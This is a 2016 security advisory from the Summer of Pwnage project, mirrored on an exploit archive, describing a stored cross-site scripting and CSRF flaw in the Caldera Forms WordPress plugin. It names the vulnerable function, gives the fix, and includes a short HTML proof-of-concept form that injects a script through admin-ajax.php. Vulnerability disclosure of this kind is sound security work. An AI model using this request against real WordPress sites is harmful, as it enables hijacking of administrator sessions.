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WordPress Caldera Forms 1.3.5.3 Cross Site Scripting

WordPress Caldera Forms 1.3.5.3 Cross Site Scripting
Posted Nov 8, 2016
Authored by Securify B.V., Jurgen Kloosterman

WordPress Caldera Forms plugin version 1.3.5.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 3dc44cc3f5bd965a1a7826fd63931a9f

WordPress Caldera Forms 1.3.5.3 Cross Site Scripting

Change Mirror Download
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Cross-Site Scripting vulnerability in Caldera Forms WordPress Plugin
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Jurgen Kloosterman, July 2016

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Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Caldera Forms
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

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OVE ID
------------------------------------------------------------------------
OVE-20160720-0007

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Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Caldera Forms WordPress Plugin
version 1.3.5.3

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Fix
------------------------------------------------------------------------
The Caldera Forms developers issued a fix in Caldera Forms 1.4.2 which
adds nonces for multiple functions (including create_form()), therefore
effectively solving this issue.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_caldera_forms_wordpress_plugin.html

A Stored Cross-Site Scripting vulnerability exists in the Caldera Forms WordPress plugin. This vulnerability allows an attacker to perform any action with the privileges of the target user. The affected code is not protected with an anti-Cross-Site Request Forgery token. Consequently, it can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

The vulnerability exists in the file caldera-forms/classes/admin.php and is located in the function create_form().

1417: echo $newform['ID'];

The vulnerability can be exploited using a specially crafted HTTP POST request to obtain the CSRF token and execute Javascript. In order to exploit this issue the target user must have an active session in the Administrator control panel and visit a malicious site (or advertisement).
Proof of concept

<!DOCTYPE html>
<html>
<body>
<form action="http://<target>/wp-admin/admin-ajax.php" method="POST">
<div>
<input name="before" value="serialize_modal_form"/>
<input name="data" value="name=%3Cscript%3Ealert(1)%3C%2Fscript%3E"/>
<input name="template" value="0"/>
<input name="callback" value="new_form_redirect"/>
<input name="modalAutoclose" value="new_form"/>
<input name="action" value="create_form"/>
<button type="submit">send</button>
</div>
</form>
</body>
</html>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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